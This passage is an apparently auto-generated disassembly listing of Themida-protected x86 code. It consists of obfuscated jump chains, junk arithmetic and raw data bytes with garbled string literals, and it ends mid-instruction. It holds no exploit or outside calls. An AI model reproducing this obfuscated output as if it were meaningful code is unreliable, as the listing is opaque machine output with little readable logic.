8E92414h db 50h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546597: ; CODE XREF: Themida_:0055278Bj inc dword ptr [esp] jmp loc_5517B6 ; --------------------------------------------------------------------------- a313Sa db '3<$1<$3<$éAš',0 dd 2C28100h, 87000000h, 665C2414h, 0E951E9F7h, 0B904h dd 4C481h, 5E040000h, 303268h, 240C8900h, 69DEE9h db 0 ; --------------------------------------------------------------------------- loc_5465D5: ; CODE XREF: Themida_:00548689j push cx jmp loc_54A5D1 ; --------------------------------------------------------------------------- loc_5465DC: ; CODE XREF: Themida_:00552652j mov cl, ah pop eax mov dl, cl jmp loc_546C7B ; --------------------------------------------------------------------------- dw 0D7F7h dd 0EA8FC781h, 0FE89547Fh, 83243C8Bh, 0C58104C4h, 3FFE292Eh dd 0ED81F529h, 3FFE292Eh, 8FE8E95Eh, 752D0000h, 31C1FE1Ah dd 0E98158C2h, 7AE5D68h, 8C17E9h db 0 ; --------------------------------------------------------------------------- loc_54661D: ; CODE XREF: Themida_:00546E20j mov [esp], edx push 59BCh mov [esp], ebp push ecx mov ecx, 3C30C4Ch mov ebp, ecx jmp loc_54F86D ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0B110E9h, 40E95000h db 7, 2 dup(0) ; --------------------------------------------------------------------------- loc_546643: ; CODE XREF: Themida_:0054E1B8j push dword ptr [esp] pop ebx add esp, 4 push ecx mov ch, 4Bh jmp loc_55054D ; --------------------------------------------------------------------------- dw 1C89h dd 55E38924h, 4BDh, 72C38100h, 815E076Eh, 2423B3C3h, 81EB0107h dd 2423B3EBh, 72EB8107h, 5D5E076Eh, 46A868h, 242C8900h dd 2BDh, 0DAEB8100h, 814AC449h, 0E46CEBC3h, 0C4EB8136h dd 10BF957h, 0C4C381EBh, 810BF957h, 0E46CEBEBh, 0DAC38136h dd 5D4AC449h, 8B241C87h, 0F9F62424h, 0CCB60F66h, 2BD1E9h dd 24048F00h, 0E924248Bh, 0A24Dh, 240C8B66h, 2FC068h, 24348900h dd 487B68h, 24248900h, 2FB0E9h, 0E9505100h, 0DBEh ; --------------------------------------------------------------------------- loc_5466E8: ; CODE XREF: Themida_:0054FD44j sub ebx, esi pop esi jmp loc_54B799 ; --------------------------------------------------------------------------- dd 5358C701h, 3768E9h db 0 ; --------------------------------------------------------------------------- loc_5466F9: ; CODE XREF: Themida_:0055241Cj push eax mov eax, 780244EBh jmp loc_54E2F1 ; --------------------------------------------------------------------------- dd 5C241C87h, 5BB7E9h, 58E73000h, 4EC81h, 0C890000h, 11546824h dd 4890000h, 88D4B424h, 0EF2858E5h, 0E9F80059h, 0C50h ; --------------------------------------------------------------------------- loc_546730: ; CODE XREF: Themida_:0054B381j push ecx mov ecx, 60B00A8Bh sub ebx, ecx mov ecx, [esp] add esp, 4 jmp loc_54E631 ; --------------------------------------------------------------------------- loc_546743: ; CODE XREF: Themida_:0054BA94j pop eax jmp loc_551AB1 ; --------------------------------------------------------------------------- db 0F6h, 0DEh, 80h dd 0F02858C6h, 4D0005Ah, 63E95A55h, 5300009Eh, 9333E9h dd 0BD555A00h, 4, 29D3EA81h, 0EA017F0Dh, 29D3C281h, 815D7F0Dh dd 2C2h, 24148700h, 3024248Bh, 0FFD1E9C3h, 3489FFFFh, 79356824h dd 465E671Ah, 82C9BD55h, 0EE0198E5h, 81242C8Bh, 4C4h, 1C772100h dd 8124348Bh, 4ECh, 24148900h, 5556E289h, 9470E9h, 5EF20100h dd 9BC2815Fh, 0E9776035h, 12AAh, 240C8B66h, 771068h, 240C8900h dd 6F5568h, 863EE900h, 6FB50000h, 7255E9h, 0E9F20100h dd 3157h, 7ED6EB81h, 0EB811BA8h, 27CA06F2h, 8124148Bh dd 4C4h, 241C3300h, 33241C31h, 248B241Ch, 4A30F24h, 0EFE99C24h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54681B: ; CODE XREF: Themida_:0054EF70j neg ebx xor ebx, 0DD31A8A7h jmp loc_551E8B ; --------------------------------------------------------------------------- dd 0DBE9028Fh db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54682F: ; CODE XREF: Themida_:005473D1j sub esp, 4 mov [esp], edi mov edi, 800h and eax, edi push dword ptr [esp] mov edi, [esp] add esp, 4 push eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 push edx mov edx, 4 jmp loc_54F92C ; --------------------------------------------------------------------------- db 89h dd 0E189240Ch, 65D5BB53h, 0C3836F8Ch, 2EC38101h, 0E990739Ah dd 278Dh, 489665Ch, 0F980E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54688A: ; CODE XREF: Themida_:0055087Bj push ebp push ecx jmp loc_546222 ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 0F724248Bh, 5A1D68F9h, 14890000h, 3B2DE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5468A6: ; CODE XREF: Themida_:0054DF94j xchg edx, [esp] pop esp mov [esp], ecx push dword ptr [esp+4] jmp loc_5524A9 ; --------------------------------------------------------------------------- aSX db ']éÝX',0 align 4 loc_5468BC: ; CODE XREF: Themida_:00549E8Aj sub al, cl pop ecx sub esp, 4 mov [esp], edx jmp loc_54FFC2 ; --------------------------------------------------------------------------- db 5, 4, 0 dd 0E8830000h, 24048704h, 8924248Bh, 93BB241Ch, 292E4944h dd 1417E9DAh, 835E0000h, 3C8704C4h, 0BF0F5C24h, 7A6868C8h dd 0C3E90000h db 0A3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5468FF: ; CODE XREF: Themida_:0054B332j add edi, 4 xchg edi, [esp] mov esp, [esp] or ebx, ebx jnz loc_54C070 push ecx push edx push esi push 27E15124h pop esi xor [esp+4], esi jmp loc_54F429 ; --------------------------------------------------------------------------- loc_546925: ; CODE XREF: Themida_:0054A7ACj push esi mov esi, esp add esi, 4 push ebp mov ebp, 4 add esi, ebp mov ebp, [esp] add esp, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp push 3939h jmp loc_551ED2 ; --------------------------------------------------------------------------- loc_546950: ; CODE XREF: Themida_:00547706j push ebx push eax push 5EB1215Dh pop eax mov ebx, 5EB12159h jmp loc_54DF7F ; --------------------------------------------------------------------------- dw 0FE31h aLUsq_ db '‹<$Uéq.',0 dd 0E9814100h, 0DB9AE9E8h, 5359CE29h, 3752E9h, 0E95A6600h dd 587Bh ; --------------------------------------------------------------------------- loc_546984: ; CODE XREF: Themida_:005528D9j push eax mov eax, edx mov edi, eax pop eax mov edx, [esp] push eax push esp pop eax add eax, 4 add eax, 4 sub esp, 4 jmp loc_54F373 ; --------------------------------------------------------------------------- loc_5469A0: ; CODE XREF: Themida_:00549360j push edx mov dh, 0B1h shl dh, 8 add dh, 0BFh add dh, 6Ah shr dh, 2 inc dh sub dh, 2Ch sub al, dh jmp loc_5478AB ; --------------------------------------------------------------------------- db 81h dd 784EE9E6h, 0C0EE8144h, 83F89330h, 1C8904ECh, 45B85024h dd 0E901F069h, 3CF7h, 0FF04C483h, 2C8B2434h, 2F46E924h dd 3C330000h, 81E95C24h, 54000063h, 40558h, 0EC830000h dd 242C8904h, 0A50F1BDh, 0B9514565h, 199C4DF1h, 8159CD21h dd 61226DCDh, 81D5F74Fh, 696302C5h, 5DE8294Fh, 5C240487h dd 54242C89h, 359DE95Dh, 38BF0000h, 815EBE4Dh, 0D90A3BCFh dd 51D7F75Ch, 1B3F57B9h, 2AFE94Ch, 4870000h, 0A2E95C24h dd 5D000016h, 0E904EBC1h, 5CBDh, 151AF581h, 0BB533EFEh dd 3C1D493h, 35A0E9h, 4EC8100h, 89000000h, 0E954243Ch dd 6B5Bh, 4343CE81h, 0E6C15E66h, 53555006h, 3FCE9h db 0 ; --------------------------------------------------------------------------- loc_546A85: ; CODE XREF: Themida_:00550875j push ebx jmp loc_5506D3 ; --------------------------------------------------------------------------- a_qsbc db '_Qé¡—',0 align 2 loc_546A92: ; CODE XREF: Themida_:0054FDD2j mov ebp, esp jmp loc_546490 ; --------------------------------------------------------------------------- db 59h, 0F6h, 0D7h dd 806FCF80h, 0F78059E7h, 42EF8060h, 0F800DA2Ch, 80A5B252h dd 0F280FDC2h, 5AD00078h, 2CD8005Bh, 69D2E9E7h, 0F5870000h dd 89AEC581h, 0EE2162FEh, 3D42E95Dh, 0D3290000h, 9B4FE9h dd 0C8B6600h, 13966824h, 1C890000h, 34B8E924h, 0FF660000h dd 0F718E932h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546AF2: ; CODE XREF: Themida_:0054F910j push eax mov eax, 22827995h push edi mov edi, 22827991h xor eax, edi jmp loc_5463B3 ; --------------------------------------------------------------------------- db 52h, 0BAh, 4 dd 0E9000000h, 7BF6h, 4BB5E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546B16: ; CODE XREF: Themida_:00546C7Fj mov cl, al pop eax pop edx pop ebx mov [edi+eax*4], cl mov ecx, [esp] add esp, 4 jmp loc_54620A ; --------------------------------------------------------------------------- loc_546B29: ; CODE XREF: Themida_:0054DC07j mov eax, 4 add ebp, 4D45B55h add ebp, eax sub ebp, 4D45B55h pop eax push edx jmp loc_54E012 ; --------------------------------------------------------------------------- db 5Eh dd 8904EC83h, 0E950240Ch, 705Eh ; --------------------------------------------------------------------------- loc_546B50: ; CODE XREF: Themida_:0055228Bj pop edi shr eax, 0Eh xor eax, ecx push 1217h mov [esp], eax jmp loc_552853 ; --------------------------------------------------------------------------- db 50h dd 0C606E9B8h, 0E8C14022h, 0E8D14806h, 0E907E8C1h, 80C9h dd 0E938B353h, 0AB99h, 8704EB83h, 895C241Ch, 0C68243Ch dd 0E900002Ch, 0A165h ; --------------------------------------------------------------------------- loc_546B94: ; CODE XREF: Themida_:0054E460j not edx sub edx, 9D879338h add ebx, edx jmp loc_54B37E ; --------------------------------------------------------------------------- aKMUTBh db 'ºŠ|¬',9,'U½ÊTÓ=!ê]Bh',0 a__1: unicode 0, <.> dw 8900h dd 83B9240Ch, 8146007Eh, 0F03422F1h, 0E9CA317Bh, 57ADh ; --------------------------------------------------------------------------- loc_546BCC: ; CODE XREF: Themida_:00549462j xor edx, 543A0CFFh shl edx, 6 add edx, 219278F1h add edi, edx jmp loc_551E4A ; --------------------------------------------------------------------------- dw 0DAF7h dd 1C281h, 0E2810000h, 2C47A68h, 39A4B951h, 0C9811C84h dd 2F2D0696h, 6949E9h, 74FF5700h, 0AAE90424h db 0B7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546C0B: ; CODE XREF: Themida_:0054E6D3j push ebp mov ebp, 4A267A0h not ebp or ebp, 2DFE74B4h or ebp, 56A516D1h add ebp, 1366394Bh jmp loc_54A93F ; --------------------------------------------------------------------------- dw 1C87h dd 24248B24h, 24042966h, 8AC2E99Ch, 0DE010000h, 5031EE81h dd 1C8B1020h, 4C48124h, 0E9000000h, 0E1Eh, 0B56866ACh dd 0B71E979h, 14F70000h, 0EB815B24h, 509D348Eh, 0B2FEB81h dd 0E3811546h, 335B5695h, 5A01C381h, 0EFE97C86h db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546C7B: ; CODE XREF: Themida_:005465E1j pop ecx push eax mov al, dl jmp loc_546B16 ; --------------------------------------------------------------------------- aPhI db '\Ph',0Ah db 'I',0 dw 8900h dd 4812424h, 424h, 24048B00h, 4C481h, 0EC830000h, 64CCE904h dd 0F2010000h, 70B7E9h, 77E95700h, 87FFFFFDh, 0E95C2434h dd 4F7h, 0E9241489h, 2E27h, 2EC81h, 89660000h, 81662414h dd 0DD52434h, 240C8B66h, 6602C483h, 0DD5F181h, 5724148Bh dd 0C781E789h, 4, 4E5EE9h, 6E9C100h, 0C108E9C1h, 0D1F704E9h dd 0ACC18149h, 814D1770h, 1832B3EFh, 0B8E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546D0E: ; CODE XREF: Themida_:00552356j push ebp mov ebp, esp add ebp, 4 push ecx jmp loc_54BDD2 ; --------------------------------------------------------------------------- loc_546D1D: ; CODE XREF: Themida_:00547949j mov ebx, 0FFFFFFFFh sub ebp, ebx pop ebx push esi mov esi, 700D3362h jmp loc_550794 ; --------------------------------------------------------------------------- dd 0DF6C2D40h, 0C289F21Ah, 9AE28158h, 812C5740h, 4973D5F2h dd 0A100E971h, 8B660000h, 8956240Ch, 37BB53E6h, 83434D32h dd 2C8904ECh, 0A0BBD24h, 0F58133FCh, 42377723h, 198CE9h db 0 ; --------------------------------------------------------------------------- loc_546D6D: ; CODE XREF: Themida_:0055224Cj push cx not byte ptr [esp+1] pop cx jmp loc_54D6F6 ; --------------------------------------------------------------------------- loc_546D7A: ; CODE XREF: Themida_:00550F7Bj xor edi, edx xor edx, edi jmp loc_549006 ; --------------------------------------------------------------------------- db 0B8h dd 69E417CDh, 0B8069DBFh, 8EB5E948h, 89570000h, 4C781E7h dd 83000000h, 1C8904ECh, 4BD5524h, 89000000h, 0DF295DEBh dd 243C335Bh, 0E9243C31h, 727h, 15AD701h, 0C0835FF8h, 73AFE904h dd 0CF290000h, 4183E9h db 0 ; --------------------------------------------------------------------------- loc_546DCD: ; CODE XREF: Themida_:00548D3Aj add esp, 4 loc_546DD0: ; CODE XREF: Themida_:0054BA0Bj push 405Ah mov [esp], ebx push 0ECBh mov [esp], edx jmp loc_54BD41 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 8104C483h, 4ECh, 242C8900h, 28C868h, 24248900h, 4240483h dd 83242C8Bh, 66E904C4h, 5000022h, 2, 5C240487h, 73B8E9h db 0 ; --------------------------------------------------------------------------- loc_546E19: ; CODE XREF: Themida_:0054A4F1j pop esp sub esp, 4 jmp loc_54661D ; --------------------------------------------------------------------------- db 81h, 0F7h, 0B1h dd 1869664h, 0E9575FF9h, 8AE1h, 2B85052h, 56000000h, 0F289C689h dd 0D701585Eh, 6198E9h, 0B2C28100h, 81645305h, 0ADE307EAh dd 8BD32150h, 0C4812414h, 4, 0B4BFE9h, 3FBA5200h, 0E9786F0Eh dd 938Dh, 4BD55h, 0C2810000h, 1A34E5Bh, 34ADE9h, 1AF06800h dd 0E95B7D4Fh, 1A55h, 8904EC83h, 0CAE9240Ch, 5E000084h dd 701F781h, 0A8E94189h, 28000081h, 66D32CF8h, 81241C8Bh dd 2C4h, 15166800h, 14890000h, 7104E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546EBE: ; CODE XREF: Themida_:0054E070j push 4 pop edx sub ecx, edx pop edx xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov [esp], ebx mov eax, [esp] jmp loc_54C331 ; --------------------------------------------------------------------------- dw 0E289h dd offset dword_590368 dd 2F52E900h, 34FF0000h, 240C8B24h, 0E9E28952h, 49FDh dd 7E25C7BAh, 0FFBF572Dh, 0E9FFFFFFh, 91F3h, 0B75384B8h dd 0C3E2D76h, 0C1480386h, 0D8F707E8h, 199D7635h, 956DE9FFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_546F22: ; CODE XREF: Themida_:005493B8j push 70E8h mov [esp], esp jmp loc_550C50 ; --------------------------------------------------------------------------- db 81h dd 391954EFh, 0E9F88900h, 7325h ; --------------------------------------------------------------------------- loc_546F3C: ; CODE XREF: Themida_:0054856Cj push dword ptr [esp] pop ebp add esp, 4 add esp, 4 and eax, ebp push dword ptr [esp] jmp loc_54A28F ; --------------------------------------------------------------------------- loc_546F56: ; CODE XREF: Themida_:0054A8B9j mov ebx, 18AC33B4h and esi, ebx pop ebx jmp loc_5472E0 ; --------------------------------------------------------------------------- db 81h dd 5C1AC9F1h, 59C8015Eh, 32C6E9h db 0 ; --------------------------------------------------------------------------- loc_546F71: ; CODE XREF: Themida_:0054F10Cj mov edx, [esp] jmp loc_54DBD7 ; --------------------------------------------------------------------------- db 4, 24h, 0E9h dd 93B9h, 0AC13822Dh, 5C8290Ah, 0AAC1382h, 24348B59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi mov edi, 4 add ebp, edi mov edi, [esp] add esp, 4 jmp loc_54FC7B ; --------------------------------------------------------------------------- aWqs_ db 'WQé.',0 align 4 dd 4E4EB900h, 0C8297846h, 2434FF59h, 0B283E9h, 49962D00h dd 410524EBh, 8B026006h, 0C483241Ch, 4BE95204h, 0FF000090h dd 0BDE92434h, 5F000035h, 0E9D1F759h, 2553h, 0BE7068BAh dd 5A2CE921h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546FEE: ; CODE XREF: Themida_:0054B7C0j mov [edi+20h], ecx jmp loc_551FAC ; --------------------------------------------------------------------------- dw 0B605h dd 294F761Ah, 1AB62DC8h, 0C7E94F76h, 6600003Bh, 66241489h dd 0F7E99C50h, 53FFFFF1h, 877046BBh, 245C295Fh, 595E5B08h dd 1737BD55h, 0D5F74AC5h, 0A8E9DDF7h, 89000077h, 0E9542404h dd 6187h, 7D16B850h, 0B951633Eh, 4C2A73D5h, 4859C821h dd 5C02E9h db 0 ; --------------------------------------------------------------------------- loc_54704D: ; CODE XREF: Themida_:00552389j sub ebp, 4 jmp loc_551276 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h aIusZ db '‰ãé>Z',0 db 0 ; --------------------------------------------------------------------------- loc_54705F: ; CODE XREF: Themida_:0054C58Ej mov bl, 5Bh sub dl, 11h add dl, bl add dl, 11h jmp loc_54E32C ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48124h, 57000000h, 0A2A6E9h, 2434FF00h, 612EE9h db 0 ; --------------------------------------------------------------------------- loc_547085: ; CODE XREF: Themida_:0054EDE9j shl al, 4 inc al push ecx mov cl, 23h dec cl neg cl and cl, 46h neg cl xor cl, 2Bh not cl jmp loc_54F88D ; --------------------------------------------------------------------------- dd 0BA241489h, 2E4B1382h, 0E902E2C1h, 380Eh, 0EE81CE01h dd 4D646CF6h, 9086E9h, 0EDBD5500h, 0F7485040h, 49F581DDh dd 29AA37CEh, 0D6315DEAh, 0CE81465Ah, 613D75E6h, 8105EEC1h dd 0AE3B05C6h, 0F6D7E95Ah, 895CFFFFh, 5153240Ch, 0EF88C588h dd 5BCBE9h, 77EB8100h, 0E970B80Dh, 0A752h, 0B8240489h dd 64B92FDBh, 5AE9E0D1h, 0AD0000B4h, 2DE9D831h, 0E9000061h dd 0FFFFF0EEh ; --------------------------------------------------------------------------- loc_54711C: ; CODE XREF: Themida_:0054BBCFj add edx, 0BA0B5BE1h add ebp, edx pop edx mov edx, ebp pop ebp jmp loc_54C0BF ; --------------------------------------------------------------------------- loc_54712D: ; CODE XREF: Themida_:0054A202j sub eax, ebp pop ebp dec eax add eax, 662953FEh and edx, eax pop eax add edx, 248BD5B7h push edx add dword ptr [esp], 0F667E34h pop ebp sub ebp, 0F667E34h pop edx neg ebp or ebp, 2A0F45B4h push ebp not dword ptr [esp] pop ebp dec ebp not ebp not ebp push esi jmp loc_55285F ; --------------------------------------------------------------------------- db 87h dd 248B242Ch, 2434FF24h, 592434FFh, 9B51E9h, 51E68900h dd 4B9h, 59CE0100h, 4C681h, 34870000h, 9E685C24h, 89000064h dd 5152241Ch, 0E98EB450h, 6F63h, 0E9241C89h, 8AEEh, 226BB951h dd 16E93E93h, 83000056h, 3C8904ECh, 2EBE5624h, 4E6E4670h dd 3932E9h, 0E8BE5600h, 0D144BD55h, 0D2F681E6h, 81897AABh dd 137970EAh, 10D3E93Fh, 0C3810000h, 0E39340FCh, 0D0E9DA29h dd 81000056h, 4C3h, 5884E900h, 0DFF70000h, 23B7BE56h, 0EE813E81h dd 64A2673Fh, 607E9h, 4C78100h, 0E9000000h, 29EEh, 2C7815Dh dd 33000000h, 3C31243Ch, 243C3324h, 1EFCE9h, 55C68000h dd 0E6C0DEF6h, 0F26E907h, 77FF0000h, 59669D1Ch, 9C241CD2h dd 356CE9h db 0 ; --------------------------------------------------------------------------- loc_547245: ; CODE XREF: Themida_:005528F0j add ecx, edi add ecx, 63526FEBh add [ecx], esi pop ecx push dword ptr [esp] jmp loc_551799 ; --------------------------------------------------------------------------- loc_547258: ; CODE XREF: Themida_:0054E36Dj sub ebp, 7BC228D3h sub esi, ebp jmp loc_5527F3 ; --------------------------------------------------------------------------- db 1, 0DDh, 81h dd 0C03E78EDh, 62E95B12h, 8300008Eh, 0BA5204C4h, 577E0EE6h dd 0E2C1DAF7h, 44EA8107h, 0E9290D05h, 8AEDh ; --------------------------------------------------------------------------- loc_54728C: ; CODE XREF: Themida_:0054637Ej sub ecx, 2B2F18F9h sub ecx, ebp add ecx, 2B2F18F9h pop ebp push edi push ecx mov ecx, 4274085Ah mov edi, 63B61C35h xor edi, ecx jmp loc_547B17 ; --------------------------------------------------------------------------- loc_5472AE: ; CODE XREF: Themida_:0054DCEBj push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], eax push edi mov eax, [esp] push edi mov edi, esp jmp loc_5514D8 ; --------------------------------------------------------------------------- aNFy db '±(ÎfY',0 db 0F0h dd 0E924148Bh, 942Ch ; --------------------------------------------------------------------------- loc_5472E0: ; CODE XREF: Themida_:00546F5Ej xor esi, 60AD65A3h shr esi, 6 shl esi, 4 push ebp jmp loc_547E2C ; --------------------------------------------------------------------------- dw 48Bh dd 4C48324h, 36EF6850h, 5584F04h, 51562205h, 0A1FDE9h dd 0A3F18100h, 8160B878h, 7C3E5BF1h, 59CD2979h, 2AE2E94Dh dd 815F0000h, 0FCCCEC7h, 0E9FB01A1h, 0A1E4h, 0EF81DFF7h dd 0E11FF01Dh, 773E9h, 52E18900h, 9474C0BAh, 3E2C106h dd 0F281D2F7h, 0B531FDCh, 0B850D2F7h, 23575F4h, 0E0C1D8F7h dd 56853504h, 9B25047Ah, 516E1B09h, 1B81E9h, 3DE95C00h dd 81000089h, 0B35F7AC3h, 92BD5572h, 0E95FFA46h, 6F5Dh dd 0E951525Bh, 30AAh, 0D8E95558h, 83000028h, 0A6E904C4h db 90h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547397: ; CODE XREF: Themida_:0054D473j xchg ebp, [esp] jmp loc_54BCEA ; --------------------------------------------------------------------------- db 0FFh dd 5E042474h, 588AE9h, 58BE5600h, 81154C38h, 93716BEEh dd 94D3E905h, 40040000h, 5A2434FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_54ABB9 ; --------------------------------------------------------------------------- loc_5473CE: ; CODE XREF: Themida_:00547C29j add eax, ecx pop ecx jmp loc_54682F ; --------------------------------------------------------------------------- dw 8B66h dd 89572404h, 4C781E7h, 83000000h, 16E904EFh, 81FFFFF8h dd 83A80CC3h, 0E9DE01C8h, 90D6h, 2404D25Ch, 0EE08E99Ch dd 12BAFFFFh, 0E95FE943h, 1326h, 9D1C77FFh, 4105866h, 0EFE99C24h dd 0FFFFFFEDh, 0E7E94077h, 0F7FFFFEDh, 81E3D1DBh, 413C31F3h dd 2CF3810Eh, 0E925E145h, 47E9h, 4C4835Dh, 46B5E9h, 4335F00h dd 24043124h, 5C240433h, 2896664h, 0FFEDB5E9h, 240C31FFh dd 0E9240C33h, 279Ah, 6EAD23BFh, 3249E966h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54746A: ; CODE XREF: Themida_:00548A43j sub esp, 4 mov [esp], eax jmp loc_5493E0 ; --------------------------------------------------------------------------- aZsS db 'Zé×S',0 align 2 loc_54747E: ; CODE XREF: Themida_:005485A9j shl eax, 2 xor eax, 130A705Ah add eax, 5D226868h jmp loc_54CA13 ; --------------------------------------------------------------------------- dd 8B59C800h, 0C483241Ch, 7E15E904h, 0E6C10000h, 98E5E903h dd 0E9530000h, 8995h, 6A8CED81h, 0ED815304h, 2E503DBFh dd 2C58158h, 87000000h, 248B242Ch, 48B6624h, 1AB26824h dd 0C890000h, 4EC8124h, 89000000h, 0A5E92424h, 3300005Ah dd 0E95C243Ch, 0FFFFF14Dh, 0BA52E589h, 49C3245h, 3241F281h dd 0C581049Ch, 0D842D1Ch, 0ED81D501h, 0D842D1Ch, 30B9515Ah dd 813D5C3Ah, 0E272FF1h, 0F4F1816Ah, 817B4E61h, 1C7CEFF1h dd 59CD292Ch, 8B242C87h, 14892424h, 2DE95124h, 0D1000081h dd 63C781E7h, 8175625Dh, 4F5082EFh, 62F78114h, 294B479Dh dd 0CBE95FFEh, 81000070h, 4C2h, 4C28300h, 81E68956h, 4C6h dd 4EE8100h, 87000000h, 895C2434h, 74FF2414h, 8F5A0424h dd 815C2404h, 4ECh, 24048900h, 75416853h, 34890000h, 48676824h dd 815E23D9h, 0CF2EC9F6h, 5EF38903h, 0CB81DBF7h, 0B3471Fh dd 20BA5255h, 0E90A544Eh, 3E2h ; --------------------------------------------------------------------------- loc_5475A8: ; CODE XREF: Themida_:0054EAA6j mov [esp], ebp push eax push 23C17844h mov eax, [esp] add esp, 4 mov ebp, eax pop eax shr ebp, 3 jmp loc_548F8D ; --------------------------------------------------------------------------- dw 0BB53h dd 720C53BBh, 0D2F7D387h, 1D53E9h, 24048F00h, 4240481h dd 0E9000000h, 1F13h, 0FFEC25E9h, 59CE81FFh, 521DF622h dd 937687BAh, 0FAC7E979h, 0EA81FFFFh, 4204003Ch, 525AD301h dd 5764B951h, 68BA68CDh, 2968CD57h, 0C38159CAh, 6621416Eh dd 0EB81D329h, 6621416Eh, 100DE95Ah, 0EC810000h, 4, 0FF243489h dd 0E9042474h, 85EAh, 0CE9D501h, 6800000Ch, 3591h, 83241489h dd 1C8904ECh, 0E8BA5224h, 8944E939h, 19BA5AD3h, 81BB16C6h dd 370C28C2h, 55DA013Dh, 0A725E9h, 53E68900h, 6765E9h db 0 ; --------------------------------------------------------------------------- loc_54766D: ; CODE XREF: Themida_:00551339j mov esi, ecx pop ecx xor esi, 4F5A390Eh add esi, 0E36530BBh push ecx mov ecx, 20h jmp loc_5490E5 ; --------------------------------------------------------------------------- db 5Fh dd 4C781h, 52510000h, 7EFAE9h, 0D4885000h, 4CA968h, 24148900h dd 8E48E9h db 0, 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_54E4AD ; --------------------------------------------------------------------------- a0ufxWss db '0ãfX,Wé™\',0 dw 100h dd 5D04246Ch, 0FFF098E9h, 8BDF31FFh, 1EE9241Ch, 89000014h dd 0D1E92434h, 4300007Fh, 561BCB81h, 0F7431DCAh, 67F381D3h dd 1C00081h, 0C2815BDAh, 4, 31241433h, 6AE92414h db 4Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_5476FF: ; CODE XREF: Themida_:0054833Bj pop esp add ecx, 4 jmp loc_546950 ; --------------------------------------------------------------------------- loc_54770B: ; CODE XREF: Themida_:00552616j add ecx, esi pop esi push 4FAFh mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] jmp loc_54EE03 ; --------------------------------------------------------------------------- dw 8166h dd 6601DDC3h, 8166D329h, 6601DDEBh, 6244EB81h, 8124148Bh dd 4C4h, 0EB816600h, 81661794h, 0E96A7BEBh, 8392h, 243EE953h dd 0B9510000h, 0B746104h, 410FF181h, 0BD550C2Eh, 2B170485h dd 0E95DE901h, 0CDAh ; --------------------------------------------------------------------------- loc_54776C: ; CODE XREF: Themida_:0054A422j add ecx, 4 jmp loc_54D8C9 ; --------------------------------------------------------------------------- dd 543C0BBBh, 7DCB8118h, 0E93AA370h, 0FFFFFF57h, 1BBE5659h dd 0E904FA33h, 3374h ; --------------------------------------------------------------------------- loc_547790: ; CODE XREF: Themida_:0054C1EAj sub dh, 0D7h push ecx mov cl, 0B4h sub dh, cl pop ecx push ebx mov bh, 0BAh neg bh xor bh, 82h and dh, bh pop ebx push 5398h mov [esp], edx neg byte ptr [esp+1] pop edx add dh, 23h sub al, dh jmp loc_54B436 ; --------------------------------------------------------------------------- db 57h dd 69FCE9h, 2474FF00h, 0F2E95904h, 66FFFFEEh, 52240C89h dd 0CE8022B6h, 80D6F66Bh, 0CEFE35EEh, 0EE80CEFEh, 8BF5883Fh db 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_54DE10 ; --------------------------------------------------------------------------- db 5Fh dd 0E902C383h, 24A2h ; --------------------------------------------------------------------------- loc_547800: ; CODE XREF: Themida_:0054BB2Bj shr ebp, 6 add ebp, 7203D691h sub edi, ebp jmp loc_547823 ; --------------------------------------------------------------------------- aCfsZ db 'ÑæFé,‡',0 align 4 dd 8B243C87h, 0E7E92424h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547823: ; CODE XREF: Themida_:0054780Bj pop ebp push edx mov edx, 42D92A21h sub edi, 5C243585h add edi, edx add edi, 5C243585h pop edx add edi, esi sub edi, 42D92A21h jmp loc_54A323 ; --------------------------------------------------------------------------- dw 0EAC1h dd 0BD5502h, 29000000h, 7AB1E9D5h, 0E95F0000h, 79Ah, 0EF81DFF7h dd 0ACDF7AADh, 79F0E9h, 7EB85000h, 2D6BD14Bh, 7B6C1861h dd 0DB77E02Dh, 0E9D8F71Ch, 0FFFFF4B0h, 81243C89h, 4ECh dd 0D20E900h, 8B660000h, 85E92404h, 5D00001Ah, 0BD55D7F7h dd 5F3067CCh, 5790C581h, 0A9E95A82h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5478AB: ; CODE XREF: Themida_:005469B6j push dword ptr [esp] pop edx add esp, 4 jmp loc_54D6F0 ; --------------------------------------------------------------------------- dw 6C81h dd 7AF80424h, 5C290B92h, 44810424h, 7AF80424h, 1C8B0B92h dd 7B8EE924h, 0E3890000h, 8B50E9h, 0A1C28000h, 0FFFDB0E9h db 0FFh ; --------------------------------------------------------------------------- loc_5478E5: ; CODE XREF: Themida_:0054DD4Fj xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp add ebx, edx push dword 